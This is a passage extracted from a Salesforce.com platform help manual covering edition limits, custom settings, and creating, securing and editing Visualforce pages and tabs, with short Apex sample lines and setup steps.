• 5,000 instances of personal tags applied to records
Across all users, an organization is limited to:

• 1,000 unique public tags


• 50,000 instances of public tags applied to records
• 5,000,000 instances of personal and public tags applied to records

Custom Field Limit Details


The number of custom fields allowed per object varies according to Salesforce.com edition. The number of activities, long
text area fields, relationship fields, and roll-up summary fields varies as well. The following table shows the maximum limits
for each custom field type with respect to edition.

Custom Field Personal Contact Group Professional Enterprise Developer Unlimited


Limits Edition Manager Edition Edition Edition Edition Edition
Total Custom 5 100 100 100 500 500 500
Fields
Allowed
Activities No additional No additional No additional 20 100 100 100
limit limit limit
Long Text No additional 5 5 5 25 25 25
Area Fields limit

1010
Develop Salesforce.com Editions and Limits

Custom Field Personal Contact Group Professional Enterprise Developer Unlimited


Limits Edition Manager Edition Edition Edition Edition Edition
Relationship No additional 25 25 25 25 25 25
Fields limit
Roll-up No additional 10 10 10 10 10 10
Summary limit
Fields

Rules Limit Details


Different types of rules can have restrictions, depending on your Salesforce.com edition. The following table shows the
restrictions with respect to edition.

Restrictions Personal Contact Group Professional Enterprise Developer Unlimited


Edition Manager Edition Edition Edition Edition Edition
Total Rules Not Available Not Available Not Available 300 per object 300 per object 300 per object 300 per object
Allowed
1000 per org 1000 per org 1000 per org 1000 per org
(Limits apply
to any
combination
of workflow,
assignment,
auto-response,
and escalation
rules, both
active and
inactive.)

Workflow Not Available Not Available Not Available Not Available


For Enterprise, Developer, and Unlimited
Rules and
Editions, each workflow rule and approval
Approval
process can have:
Processes
• 10 time triggers
• 40 immediate actions
• 40 time-dependent actions per time trigger
Note that for both immediate and
time-dependent actions, there can be no more
than:
• 10 email alerts
• 10 tasks
• 10 field updates
• 10 outbound messages

Assignment, Not Available Not Available Not Available


For Professional, Enterprise, Developer, and Unlimited
Auto-response,
Editions, each assignment, auto-response, and escalation rule
and
can have:
Escalation
Rules • 3000 rule entries

1011
Develop Custom Settings Overview

Restrictions Personal Contact Group Professional Enterprise Developer Unlimited


Edition Manager Edition Edition Edition Edition Edition
• 300 formula criteria rule entries
• 25 filter criteria per rule entry

Workflow Not Available Not Available Not Available Not Available 500 50 1,000
Time Triggers
Per Hour
(For more
information,
see
Time-Dependent
Action and
Time Trigger
Considerations
on page 803.)

See Also:
Monitoring Resources
Force.com API Usage Limits
Customer Portal Setup Limits

Custom Settings Overview


Available in: Developer, Enterprise, and Unlimited Editions.

User Permissions Needed


To manage, create, edit, and delete custom settings: “Customize Application”

Custom settings are similar to custom objects and enable application developers to create custom sets of data, as well as create
and associate custom data for an organization, profile, or specific user. All custom settings data is exposed in the application
cache, which enables efficient access without the cost of repeated queries to the database. This data can then be used by formula
fields, validation rules, Apex, and the Force.com Web Services API.
There are two types of custom settings:
List Custom Settings
A type of custom setting that provides a reusable set of static data that can be accessed across your organization. If you
use a particular set of data frequently within your application, putting that data in a list custom setting streamlines access
to it. Data in list settings does not vary with profile or user, but is available organization-wide. Examples of list data
include two-letter state abbreviations, international dialing prefixes, and catalog numbers for products. Because the data
is cached, access is low-cost and efficient: you don't have to use SOQL queries that count against your governor limits.

1012
Develop Custom Settings Overview

Hierarchy Custom Settings


A type of custom setting that uses a built-in hierarchical logic that lets you “personalize” settings for specific profiles or
users. The hierarchy logic checks the organization, profile, and user settings for the current user and returns the most
specific, or “lowest,” value. In the hierarchy, settings for an organization are overridden by profile settings, which, in
turn, are overridden by user settings.

The following examples illustrate how you can use custom settings:

• A Salesforce.com partner has created a shipping application that requires users to fill in the country codes for international
deliveries. By creating a list setting of all country codes, users have quick access to this data without needing to query the
database.
• A Salesforce.com partner has created an application to calculate and track compensation for its sales reps, but commission
percentages are based on seniority. By creating a hierarchy setting, the administrator can associate a different commission
percentage for each profile in the sales organization. Within the application, one formula field can then be used to correctly
calculate compensation for all users; the personalized settings at the profile level inserts the correct commission percentage.
• A Salesforce.com partner has created an application that displays a map of account locations, the best route to take, and
traffic conditions. This information is useful for sales reps, but account executives only want to see account locations. By
creating a hierarchy setting with custom checkbox fields for route and traffic, you can enable this data for just the “Sales
Rep” profile.

Follow these steps to create and use custom settings:

1. Create the custom setting.


2. Add fields to the custom setting.
3. Add data and set the access level for the custom setting data.
4. Reference the custom setting data in your application, using formula fields, validation rules, Apex, or the Force.com Web
Services API.

You can also include a custom setting in a package. The visibility of the custom setting in the package depends on the
Visibility setting.

Note: Only custom settings definitions are included in packages, not data. If you need to include data, you must
populate the custom settings using a standard Apex or API script run by the subscribing organization after they have
installed the package.

Managing Custom Settings


Click New to create a new custom setting. After you create a custom setting, you must add fields to it.
After you create a custom setting, you can do any of the following:
• Click Edit next to the name of a custom setting to change the name, label, or description of a custom setting.
• Click Del to delete a custom setting.

Note: A icon indicates that the custom setting is in an installed managed package. You cannot edit or delete
a custom setting installed from a managed package.

• Click Manage to add data to a custom setting. You should add fields before you add data.

1013
Develop Custom Settings Overview

Custom Settings Limits


Available in: Developer, Enterprise, and Unlimited Editions.

User Permissions Needed


To manage, create, edit, and delete custom settings: “Customize Application”

Salesforce.com imposes these limits on the amount of cached data and on custom settings:

• 10 MB of cached data per organization.


• 300 fields per custom setting.
• You cannot share a custom setting object or record.
• No owner is assigned when a custom setting is created, so the owner cannot be changed.

Accessing Custom Settings


You can access custom settings from formula fields, validation rules, Apex, and the Force.com Web Services API. Some sample
code segments are provided below.
Formula Fields
Formula fields only work for hierarchy custom settings; they cannot be used for list custom settings. For more information
on using formula fields, see Creating On-Demand Applications: An Introduction to the Force.com Platform.

{!$Setup.CustomSettingName__c.CustomFieldName__c}

Apex
Apex scripts can access both custom setting types.
Note: If Privacy for a custom setting is Protected, and the custom setting is contained in a managed package,
the subscribing organization cannot edit the values or access them using Apex.

For more information on all the custom setting methods and Apex, see the Force.com Apex Code Developer's Guide.
Samples for List Custom Settings
When you add data to a custom setting, you must name each set of data. Then you can distinguish between the
sets of data by the data set name. The following returns a map of custom settings data. The getAll method returns
values for all custom fields associated with the list setting.

Map<String_dataset_name, CustomSettingName__c> mcs = CustomSettingName__c.getAll();

1014
Develop Defining Custom Settings

The following example uses the getValues method to return all the field values associated with the specified
data set. This method can be used with both list and hierarchy custom settings, using different parameters.

CustomSettingName__c mc = CustomSettingName__c.getValues(data_set_name);

Samples for Hierarchy Custom Settings


The following example uses the getOrgDefaults method to return the data set values for the organization level:

CustomSettingName__c mc = CustomSettingName__c.getOrgDefaults();

The following example uses the getInstance method to return the data set values for the specified profile. The
getInstance method can also be used with a user Id.

CustomSettingName__c mc = CustomSettingName__c.getInstance(Profile_ID);

Force.com Web Services API


Custom settings that have Privacy defined as Public are exposed to the API in the same way custom objects are exposed.
Note: If Privacy is defined as Protected, and the custom setting is contained in a managed package, the
custom setting is not accessible using the API in either the developer organization or a subscribing organization.

Use any tool with API access to perform query or profile-permission-setting operations. For more information, see the
Force.com Web Services API Developer's Guide.

Defining Custom Settings


Available in: Developer, Enterprise, and Unlimited Editions.

User Permissions Needed


To manage, create, edit, and delete custom settings: “Customize Application”

To create or edit a custom setting:

1. Click Setup ➤ Develop ➤ Custom Settings.


2. Click New to create a new custom setting, click Edit next to the name of a custom setting, or click Edit while viewing the
details of a custom setting.

Note: A icon indicates that the custom setting is in an installed managed package. You cannot edit or delete
a custom setting installed from a managed package.

3. Define the following:

• Label—Enter the label displayed in the application.

1015
Develop Viewing Custom Settings

• Object Name—Enter the name to be used when the custom setting is referenced by formula fields, validation rules,
Apex, or the Force.com Web Services API.
Note: Salesforce.com recommends using ASCII for the Object Name. The name can't exceed 38 ASCII
characters. If you use double byte, there are additional limits on the number of characters allowed.

• Setting Type—Select a type of List or Hierarchy. The List type defines application-level data, such as country codes
or state abbreviations. The Hierarchy type defines personalization settings, such as default field values, that can be
overridden at lower levels in the hierarchy.
Important: After you save a custom setting, you cannot change this value.

• Visibility—Select a visibility of Protected or Public.

- Protected—If the custom setting is contained in a managed package, subscribing organizations can't see the custom
setting: it doesn't display as part of the package list. In addition, subscribing organizations can't access the custom
setting using either Apex or the API, however, developer organizations can. If the custom setting is contained in
an unmanaged package, the custom setting is available through the Enterprise WSDL like any custom object (as
if the Visibility was Public.)
- Public—The custom setting is available through the Enterprise WSDL like any custom object. You can package
custom settings defined as public. The subscribing organizations can edit the values, as well as access them using
Apex and the API, regardless of the type of package (either managed or unmanaged).

Important: After you save a custom setting, you cannot change this value.

4. Enter an optional description of the custom setting. A meaningful description will help you remember the differences
between your custom settings when you are viewing them in a list.
5. Click Save.
Note: Only custom settings definitions are included in packages, not data. If you need to include data, you must
populate the custom settings using a standard Apex or API script run by the subscribing organization after they
have installed the package.

After you create a custom setting, you must also add fields to the custom setting.

Viewing Custom Settings


Available in: Developer, Enterprise, and Unlimited Editions.

User Permissions Needed


To manage, create, edit, and delete custom settings: “Customize Application”

After you create a custom setting, you can view the details of the custom setting, manage the custom setting, and add fields.

1016
Develop Adding Custom Settings Fields

Click Setup ➤ Develop ➤ Custom Settings, then click the name of the custom setting you'd like to view. While viewing a
custom setting, you can do any of the following:

• Click Edit to make changes to a custom setting.


• Click Delete to delete a custom setting.

Note: A icon indicates that the custom setting is in an installed managed package. You cannot edit or delete
a custom setting installed from a managed package.

• Click Manage to add data to a custom setting.

In addition, click New to add fields to the custom setting.

Adding Custom Settings Fields


Available in: Developer, Enterprise, and Unlimited Editions.

User Permissions Needed


To manage, create, edit, and delete custom settings: “Customize Application”

After you define custom settings, you need to add custom fields to it. The custom fields contain the data, used by the custom
setting.
To add custom fields to a custom setting:

1. Click Setup ➤ Develop ➤ Custom Settings.


2. Click the name of the custom setting that you want to add fields to. (If you just created a custom setting, you are taken
directly to the Custom Setting Detail page.)
3. Click New.
4. Select a field type and click Next.
5. Enter the details for your custom field.
6. Once you confirm the information, click Save or Save & New.

After you add the required fields, you need to add data and for hierarchy custom settings, specify the access level.

Managing Custom Settings Data


Available in: Developer, Enterprise, and Unlimited Editions.

User Permissions Needed


To manage, create, edit, and delete custom settings: “Customize Application”

After defining custom settings and adding fields, populate the fields using the following steps:

1017
Develop Managing Custom Settings Data

1. Click Setup ➤ Develop ➤ Custom Settings.


2. Click Manage next to a custom setting. Or from the detail page for a custom setting, click Manage.
3. Provide or change values for the custom setting.

• If you are managing a list setting:

- Click New to add data to the fields.


- Click Edit next to the name of an existing set of data to change the name of the data set or to change the data.
- Click Del next to the name of an existing set of data to delete the data set.

• If you are managing a hierarchy setting, decide where in the permission hierarchy you want to add default data
(organization, profile, or user).
To add default data at the organization level:

- Click New in the Default Organization Level Value section. If data has already been defined for the organization,
you can only edit or delete it.
To add default data at the profile or user level:

- Click New in the lower section of the page, near the Setup Owner.

After you have already defined data, you can do any of the following:

• Click Edit in the Default Organization Level Value section to change the default data set at the organization level, or
Delete to delete it (this is only for hierarchical custom settings.)
• Click View next to the name of an existing set of data to view the data (this is only for hierarchical custom settings.)
• Click Edit next to the name of an existing set of data to change the name of the data set or to change the data.
• Click Del next to the name of an existing set of data to delete the data set.

Adding Custom Settings Data


Available in: Developer, Enterprise, and Unlimited Editions.

User Permissions Needed


To manage, create, edit, and delete custom settings: “Customize Application”

After you define your custom settings and add fields, you need to populate the fields with data.
You can define one or more data sets. For list custom settings, each data set is named and can be accessed by that name using
Apex, formula fields, and so on.
For custom settings that are hierarchies, the data is accessed based on the access level (user, profile, or organization). The
lowest level is used first, which means if you defined a data set at the user level, unless otherwise specified in your application,
that data is used. For example, you might want to specify different contact numbers for your application: one for the general
user, and one that is only displayed for system administrators.
To add data to custom setting fields:

1018
Develop Visualforce Overview

1. Click Setup ➤ Develop ➤ Custom Settings, then click Manage next to a custom setting. Or from the detail page for a
custom setting, click Manage.
2. Click New or Edit next to an existing data set.
3. Add or change data.
For custom settings that are lists, do the following:

a. Specify or change the name for the data set. This name is used by Apex, formula fields, and so on.
b. Enter or change data for all fields.
c. Click Save.

For custom settings that are hierarchies, do the following:

a. For the default organization level values, enter or change the data for the fields. The default organization location is
automatically populated.
b. For profile or user level values, select either Profile or User from the Location picklist. Enter the name of the
profile or user, or use the lookup dialog search. Then enter or change the data for the fields.
c. Click Save.

Viewing Custom Settings Data


Available in: Developer, Enterprise, and Unlimited Editions.

User Permissions Needed


To manage, create, edit, and delete custom settings: “Customize Application”

After you add fields and add data to those fields, you can view the data:

1. Click Setup ➤ Develop ➤ Custom Settings, then click Manage next to a custom setting that has already been defined.
Or from the detail page for a custom setting, click Manage.
2. Click View next to the data set you want to view (this is only for hierarchical custom settings.)

Visualforce Overview
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Visualforce uses a tag-based markup language to give developers a more powerful way to build applications and customize the
Salesforce.com user interface. With Visualforce you can:

• Create custom user interfaces that easily leverage standard Salesforce.com styles
• Create custom user interfaces that completely replace the standard Salesforce.com styles
• Build wizards and other navigation patterns that use data-specific rules for optimal, efficient application interaction

1019
Develop Visualforce Overview

Visualforce comes with a rich component library that allows you to quickly build pages without having to create a lot of
functionality yourself. In the Visualforce markup language, each tag corresponds to a coarse or fine-grained component, such
as a section of a page, a related list, or a field. The components can either be controlled by the same logic that is used in
standard Salesforce.com pages, or developers can associate their own logic with a custom controller or controller extension
written in Apex.

Browser Security Settings and Visualforce


Some Visualforce pages are run from *.force.com servers. If you set your browser's trusted sites to include *.salesforce.com,
you must also add *.force.com to the list.
Depending on your browser and browser settings, you may see an error similar to the following on some pages:
Your browser privacy settings have prevented this page from showing some content.
To display this content you need to change your browser privacy settings to allow
"Third Party" cookies from the domain mypages.na1.visual.force.com. Alternatively,
if your browser is Internet Explorer, you can add mypages.na1.visual.force.com. to
your trusted sites list in the security options page.
Salesforce.com includes a Platform for Privacy Preferences Project (P3P) header on some pages. The header is composed of
the following settings:
Purpose
CUR - Information is used to complete the activity for which it was provided.

Category
STA - Mechanisms for maintaining a stateful session with a user or automatically recognizing users who have visited a
particular site or accessed particular content previously; for example, HTTP cookies.

Recipient
OTR - Legal entities following different practices. Users cannot opt-in or opt-out of this usage.
If your browser is configured to support P3P, this header allows all Visualforce pages to display. For information on P3P, see
Platform for Privacy Preferences (P3P) Project.
If your browser is set to block third-party cookies, and it does not use the P3P header, and you see an error similar to the one
above, perform one of the following actions:
• Configure P3P for your browser
• Change your browser settings to allow third-party cookies
• Add the appropriate server to your browser's cookies exception list

See Also:
Enabling Development Mode
Defining Visualforce Pages
Managing Visualforce Pages
Viewing and Editing Visualforce Pages
Creating Visualforce Tabs
What is a Static Resource?
What is a Custom Component?
Developer's Guide: Visualforce Developer's Guide

1020
Develop How Do Visualforce Pages Compare to S-Controls?

How Do Visualforce Pages Compare to S-Controls?


Visualforce pages are considered the next-generation of s-controls and should be used instead of s-controls whenever possible,
both for their increased performance and the ease with which they can be written.
Caution: S-controls have been superseded by Visualforce pages. Salesforce.com will, sometime after January 2010,
remove the ability to create and distribute new s-controls. Existing s-controls will be unaffected.

The following table outlines the differences between Visualforce pages and s-controls.

Visualforce Pages S-Controls


Required technical skills HTML, XML HTML, JavaScript, AJAX Toolkit
Language style Tag markup Procedural code
Page override model Assemble standard and custom Write HTML and JavaScript for entire
components using tags page
Standard Salesforce.com component Yes No
library
Access to built-in platform behavior Yes, through the standard controller No
Data binding Yes No
Developers can bind an input component Developers cannot bind an input
(such as a text box) with a particular field component to a particular field. Instead,
(such as Account Name). If a user saves they must write JavaScript code that uses
a value in that input component, it is also the API to update the database with
saved in the database. user-specified field values.

Stylesheet inheritance Yes No, must bring in Salesforce.com


stylesheets manually
Respect for field metadata, such as Yes, by default Yes, if coded in JavaScript using a
uniqueness describe API call
If a user attempts to save a record that
violates uniqueness or requiredness field If a user attempts to save a record that
attributes, an error message is violates uniqueness or requiredness field
automatically displayed and the user can attributes, an error message is only
try again. displayed if the s-control developer wrote
code that checked those attributes.

Interaction with Apex Direct, by binding to a custom controller Indirect, by using Apex webService
methods through the API
Performance More responsive because markup Less responsive because every call to the
executes on platform API requires a round trip to the
server—the burden rests with the
developer to tune performance
Page container Native In an iFrame

1021
Develop Enabling Development Mode

Enabling Development Mode


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable development mode: “Customize Application”

Although you can view and edit Visualforce page definitions from the setup area by clicking Setup ➤ Develop ➤ Pages,
enabling Visualforce developer mode is the best way to build Visualforce pages. Development mode provides you with:

• A special development footer on every Visualforce page that you define


The footer includes an editor for the page markup and, if applicable, the associated controller. The page markup editor
offers highlighting and auto-suggest for component tag names, and the footer also includes a link to the component
reference documentation.
• The ability to define new Visualforce pages just by entering a particular URL
• Error messages that include more detailed stack traces than what standard users receive

To enable Visualforce developer mode:

1. Click Setup ➤ My Personal Information ➤ Personal Information, and click Edit.


2. Select the Development Mode checkbox.
3. Click Save.

See Also:
Visualforce Overview
Defining Visualforce Pages
Developer's Guide: Visualforce Developer's Guide

Defining Visualforce Pages


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, and set version settings for Visualforce pages: “Customize Application”

You can create Visualforce pages either by using Visualforce development mode, or by creating pages in Setup.
To create a page using Visualforce developer mode:

1022
Develop Defining Visualforce Pages

1. In your browser, enter a URL in the following form: http://mySalesforceInstance/apex/nameOfNewPage, where


the value of mySalesforceInstance is the host name of your Salesforce.com instance (for example,
na3.salesforce.com) and the value of nameOfNewPage is the value you want to give to the Name field on your page
definition.
For example, if you want to create a page called “HelloWorld” and your Salesforce.com organization uses the
na3.salesforce.com instance, enter https://na3.salesforce.com/apex/HelloWorld.

Note: Page names cannot be longer than 40 characters.

2. Because the page does not yet exist, you are directed to an intermediary page from which you can create your new page.
Click Create page nameOfNewPage to create the new page. Both the page Name and Label are assigned the
nameOfNewPage value you specified in the URL.

To create pages in Setup:

1. Click Setup ➤ Develop ➤ Pages.


2. Click New.
3. In the Name text box, enter the text that should appear in the URL as the page name. This name can contain only underscores
and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not
end with an underscore, and not contain two consecutive underscores.
4. In the Label text box, enter the text that should be used to identify the page in Setup tools, such as when defining custom
tabs, or overriding standard buttons.
5. In the Body text box, enter Visualforce markup for the page. A single page can hold up to 1 MB of text, or approximately
1,000,000 characters.
6. Click Version Settings to specify the version of Visualforce and the API used with this page. If your organization has
installed managed packages from the AppExchange, you can also specify which version of each managed package to use.
Generally, you should use the default values for all versions. This associates the page with the most recent version of
Visualforce and the API, as well as each managed package. You can specify an older version of Visualforce and the API
to maintain specific behavior. You can specify an older version of a managed package if you want to access package
components or functionality that differs from the most recent package version.
7. Click Save to save your changes and return to the Visualforce detail screen, or click Quick Save to save your changes and
continue editing your page. Your Visualforce markup must be valid before you can save your page.
Note: Though your Visualforce markup can be edited from this part of setup, to see the results of your edits you
have to navigate to the URL of your page. For that reason, most developers prefer to work with development mode
enabled so they can view and edit pages in a single window.

Once your page has been created, you can access it using a URL in the following form:
http://mySalesforceInstance/apex/nameOfNewPage, where the value of mySalesforceInstance is the host name

1023
Develop Defining Visualforce Pages

of your Salesforce.com instance (for example, na3.salesforce.com) and the value of nameOfNewPage is the value of the
Name field on your page definition.

See Also:
Visualforce Overview
Enabling Development Mode
Managing Visualforce Pages
Viewing and Editing Visualforce Pages
Creating Visualforce Tabs
What is a Static Resource?
Developer's Guide: Visualforce Developer's Guide

Managing Version Settings for Visualforce Pages


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, and set version settings for Visualforce pages: “Customize Application”

To aid backwards-compatibility, each Visualforce page is saved with version settings for the specified version of the API as
well as the specific version of Visualforce. If the Visualforce page references installed managed packages, the version settings
for each managed package referenced by the Visualforce component is saved too. This ensures that as Visualforce, the API,
and the components in managed packages evolve in subsequent versions, a page is still bound to versions with specific, known
behavior.
A package version is a set of components uploaded in a package. It is denoted by a version number that has the format
majorNumber.minorNumber.patchNumber such as 2.1.3. Note that the patchNumber is generated only when you create
a patch. If there is no patchNumber, it is assumed to be zero (0). Patch versions are currently available through a pilot program.
For information on enabling patch versions for your organization, contact salesforce.com. Publishers can use package versions
to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking
existing customer integrations using the package.
To set the Salesforce.com API and Visualforce version for a Visualforce page:

1. Edit a Visualforce page and click Version Settings.


Note: You can only access the version settings for a page if you edit a page by clicking Setup ➤ Develop ➤ Pages.
You cannot access them if you edit a page using Developer Mode.

2. Select the Version of the Salesforce.com API. This is also the version of Visualforce used with the page.
3. Click Save.

To configure the package version settings for a Visualforce page:

1. Edit a Visualforce page and click Version Settings.

1024
Develop Managing Visualforce Pages

2. Select a Version for each managed package referenced by the Visualforce page. This version of the managed package will
continue to be used by the Visualforce page if later versions of the managed package are installed, unless you manually
update the version setting. To add an installed managed package to the settings list, select a package from the list of available
packages. The list is only displayed if you have an installed managed package that is not already associated with the page
or component.
3. Click Save.

Note the following when working with package version settings:

• If you save a Visualforce page that references a managed package without specifying a version of the managed package,
the Visualforce page is associated with the latest installed version of the managed package by default.
• You cannot Remove a Visualforce page's version setting for a managed package if the package is referenced by the Visualforce
page. Use Show Dependencies to find where the managed package is referenced.

See Also:
Defining Visualforce Pages
Enabling Development Mode
Managing Visualforce Pages
Viewing and Editing Visualforce Pages
Creating Visualforce Tabs
What is a Static Resource?
About Managed Packages
Developer's Guide: Visualforce Developer's Guide

Managing Visualforce Pages


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create and edit Visualforce pages: “Customize Application”

After creating Visualforce pages, you can customize, edit, and delete them. Click Setup ➤ Develop ➤ Pages to display the
Pages list page, which shows all the Visualforce pages defined for your organization. From the Pages list page, you can:

• Click New to define a new Visualforce page.


• Click a page name to display detailed information about the page, including its label and Visualforce markup.
• Click Edit next to a page name to modify the page's name, label, or Visualforce markup.

Note: A icon indicates that a Visualforce page is in an installed managed package. You cannot edit or delete a
Visualforce page in a managed package.

• Click Del to remove a page.


• Click Security to manage the security for the page.

1025
Develop Setting Visualforce Page Security

Note: The namespace prefix is added to Apex classes, Apex triggers, Apex components, Visualforce pages, brand
templates, folders, s-controls, static resources, web links, and custom report types if they are included in a managed
package. However, if your profile does not have customize application permissions, the namespace prefix field is not
displayed for brand templates, folders, and custom report types. For more information on namespace prefixes, see
Registering a Namespace Prefix on page 953.

See Also:
Visualforce Overview
Viewing and Editing Visualforce Pages
Creating Visualforce Tabs
Setting Visualforce Page Security
Developer's Guide: Visualforce Developer's Guide

Setting Visualforce Page Security


You can specify which users can execute a particular Visualforce page based on their profile.
Permission for a Visualforce page is checked at the top level only. Once a page is enabled for profile, users with that profile
can access the page and execute all Apex that is associated with the page. This includes:

• The controller for the page and any Apex classes called from the controller class
• Any extension classes for the page and any Apex called from an extension
• Any Apex classes associated with custom components within the page
• Any classes associated with the page through the use of apex:include or apex:composition

For example, if page A depends on a controller that calls an Apex class B, and a user profile has access only to page A but not
class B, the user can still successfully execute the code in class A. Likewise, if a Visualforce page uses a custom component
with an associated controller, security is only checked for the controller associated with the page.
To set Visualforce page security from a page definition:

1. Click Setup ➤ Develop ➤ Pages.


2. Next to the name of the page that you want to restrict, click Security.
3. Select the profiles that you want to enable from the Available Profiles list and click Add.
4. Select the profiles that you want to disable from the Enabled Profiles list and click Remove.
5. Click Save.

To set Visualforce page security from a profile detail page:

1. Click Setup ➤ Manage Users ➤ Profiles.


2. Click the name of the profile you want to modify.
3. In the Enabled Visualforce Page Access related list, click Edit.
4. Select the Visualforce pages that you want to enable from the Available Visualforce Pages list and click Add.
5. Select the Visualforce pages that you want to disable from the Enabled Visualforce Pages list and click Remove.
6. Click Save.

If a user has the “Customize Application” permission enabled in his or her profile, the user has access to all Visualforce pages
in the associated organization. However, this user may still have restrictions related to Apex classes. The “Customize Application”

1026
Develop Viewing and Editing Visualforce Pages

permission does not allow a user to ignore those restrictions in a Visualforce page unless the profile has been granted Visualforce
page access.
Also, to include Apex in a page, the user must have the Author Apex user permission or access to the Apex class via class level
security.

See Also:
Managing Visualforce Pages
Setting Apex Class Security

Viewing and Editing Visualforce Pages


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To clone, edit, or delete Visualforce markup: “Customize Application”
To edit custom Visualforce controllers “Author Apex”

Click Setup ➤ Develop ➤ Pages and click the name of a Visualforce page to view its details, including when it was created,
when it was last modified, and the Visualforce markup associated with the page.
From the detail page, you can do any of the following:

• Click Edit to edit the page markup.


• Click Delete to delete the page.
• Click Clone to create a copy of the page. You must specify a new name for the new page.
• Click Where is this used? to view a list of all references to the page in your organization.
• Click Show Dependencies to display the items, such as fields, objects, or other classes, that must exist for this class to be
valid. For more information, see Understanding Dependencies on page 923.

Note: If the Visualforce page is contained in an installed managed package, you can only view the page. You cannot
edit, delete or clone it.

To aid backwards-compatibility, pages are stored with the version settings for a specified version of Visualforce and the API.
If the page references components, such as a custom object, in an installed managed package, the version settings for each
managed package referenced by the page are saved too. If the Visualforce page is contained in an installed managed package,
the Installed Package indicates the package name. The Available in Package Versions field gives the range of
package versions in which the Visualforce page is available. The first version number in the range is the first installed package
version that contains the Visualforce page.

Viewing and Editing Visualforce Pages with Development Mode Enabled


With development mode enabled, you can also view and edit the content of a page by navigating to the URL of the page. For
example, if a page is named HelloWorld, and your salesforce.com instance is na3.salesforce.com, enter
https://na3.salesforce.com/apex/HelloWorld.

1027
Develop Uncaught Exceptions in Visualforce

The rendered page is displayed with the development mode footer at the bottom of the window:
• Click Page Editor to view and edit the associated Visualforce markup without having to return to the Setup area. All
changes you make to the page markup immediately display when you save the page.
• If the page uses a custom controller, click Controller to edit the associated Apex class.
• Click Save (just above the edit pane) to save your changes and refresh the content of the page.
• Click Component Reference to view the online documentation for all supported Visualforce components.
• Click Where is this used? to view a list of all items in Salesforce.com that reference the page, such as custom tabs, controllers,
or other pages.

See Also:
Visualforce Overview
Enabling Development Mode
Defining Visualforce Pages
Managing Visualforce Pages
Creating Visualforce Tabs
Managing Version Settings for Visualforce Pages
About Managed Packages
What is a Package Version?
Developer's Guide: Visualforce Developer's Guide

Uncaught Exceptions in Visualforce


If a Visualforce page that you did not develop has a error or uncaught exception

• You see a simple explanation of the problem in Salesforce.com.


• The developer who wrote the page receives the error via email with your organization and user id. No other user data is
included in the report.

If you are in development mode and not in the same namespace as the page, you will see the exception message, the exception
type, and a notification that the developer has been notified by email.
If you are the developer and in the same namespace as the page, and you are not in development mode, you will see an exception
message. You may also see a message indicating that the developer has been notified. If you are in development mode, you
will see the exception message, the exception type, and the Apex stack trace.

1028
Develop Using the Editor for Visualforce or Apex

Using the Editor for Visualforce or Apex


Apex is available in: Unlimited, Developer, and Enterprise Editions

Visualforce is available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit Visualforce markup: “Customize Application”
To edit custom Visualforce controllers or Apex “Author Apex”

When editing Visualforce or Apex, either in the Visualforce development mode footer or from within setup, an editor is
available with the following functionality:
Syntax highlighting
The editor automatically applies syntax highlighting for keywords and all functions and operators.

Search ( )
Search enables you to search for text within the current page, class, or trigger. To use search, enter a string in the search
textbox and click find next.

• To replace a found search string with another string, enter the new string in the replace textbox and click replace
to replace just that instance, or replace all to replace that instance and all other instances of the search string that
occur in the page, class, or trigger.
• To make the search operation case sensitive, select the match case option.
• To use a regular expression as your search string, select the regular expressions option. The regular expressions follow
JavaScript's regular expression rules. A search using regular expressions can find strings that wrap over more than
one line.
If you use the replace operation with a string found by a regular expression, the replace operation can also bind regular
expression group variables ($1, $2, and so on) from the found search string. For example, to replace an <H1> tag
with an <H2> tag and keep all the attributes on the original <H1> intact, search for <H1(\s+)(.*)> and replace it
with <H2$1$2>.

Go to line ( )
This button allows you to highlight a specified line number. If the line is not currently visible, the editor scrolls to that
line.

Undo( ) and Redo ( )


Use undo to reverse an editing action and redo to recreate an editing action that was undone.

Font size
Select a font size from the drop-down list to control the size of the characters displayed in the editor.

1029
Develop Using the Editor for Visualforce or Apex

Line and column position


The line and column position of the cursor is displayed in the status bar at the bottom of the editor. This can be used
with go to line ( ) to quickly navigate through the editor.

Line and character count


The total number of lines and characters is displayed in the status bar at the bottom of the editor.

The editor supports the following keyboard shortcuts:


Tab
Adds a tab at the cursor

SHIFT+Tab
Removes a tab

CTRL+f
Opens the search dialog or searches for the next occurrence of the current search

CTRL+r
Opens the search dialog or replaces the next occurrence of the current search with the specified replacement string

CTRL+g
Opens the go to line dialog

CTRL+s
Performs a quick save.

CTRL+z
Reverses the last editing action

CTRL+y
Recreates the last editing action that was undone

See Also:
Core JavaScript 1.5 Guide:Regular Expressions
Viewing and Editing Visualforce Pages

1030
Develop Creating Visualforce Tabs

Creating Visualforce Tabs


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create Visualforce Tabs: “Customize Application”

You can build Visualforce tabs so that users can access Visualforce pages from within Salesforce.com.
To create a Visualforce tab:

1. Click Setup ➤ Create ➤ Tabs.


2. Click New in the Visualforce Tabs related list.
3. Select the Visualforce page to display in the custom tab. If you have not already created the Visualforce page, click Create
a new page now and follow the instructions in Defining Visualforce Pages on page 1022.
4. Specify the label that displays on the tab.
5. Click the Tab Style lookup icon to display the Tab Style Selector.
If a tab style is already in use, a number enclosed in brackets [] appears next to the tab style name. Hover your mouse over
the style name to view the tabs that use the style. Click Hide styles which are used on other tabs to filter
this list.
6. Click a tab style to select the color scheme and icon for the custom tab.
Optionally, click Create your own style on the Tab Style Selector dialog if you want to create a custom tab style and your
organization has access to the Documents tab. To create your own tab style:

a. Click the Color lookup icon to display the color selection dialog and click a color to select it.
b. Click Insert an Image, select the document folder, and select the image you want to use.
Alternatively, click Search in Documents, enter a search term, and click Go! to find a document file name that includes
your search term.
Note: This dialog only lists files in document folders that are under 20 KB and have the Externally Available
checkbox selected in the document property settings. For more information, see uploading images and document
